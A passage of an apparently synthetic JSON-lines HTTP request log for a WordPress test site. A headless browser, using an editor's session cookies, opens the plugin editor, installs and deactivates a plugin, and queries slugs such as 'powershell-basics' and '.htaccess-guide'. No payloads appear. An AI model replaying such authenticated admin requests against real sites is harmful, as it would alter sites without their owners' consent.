wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=powershell-tools%2Fpowershell-tools.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=deactivate&plugin=docker-helper%2Fdocker-helper.php&plugin_status=all&paged=1&s&_wpnonce=6a63c44dbf", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209937"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-plugin&plugin=docker-helper&_wpnonce=6f3e7b77ac", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209937"], "body": ""}
{"method": "GET", "target": "/?rest_route=/wp/v2/search&search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209921"], "body": ""}
{"method": "POST", "target": "/?rest_route=/wp/v2/posts/1", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 40", "X-WP-Nonce: 3e816ac72c", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209921"], "body": "{\"id\":1,\"title\":\"Hello from the editor\"}"}
{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/powershell-basics/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/powershell-basics/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; 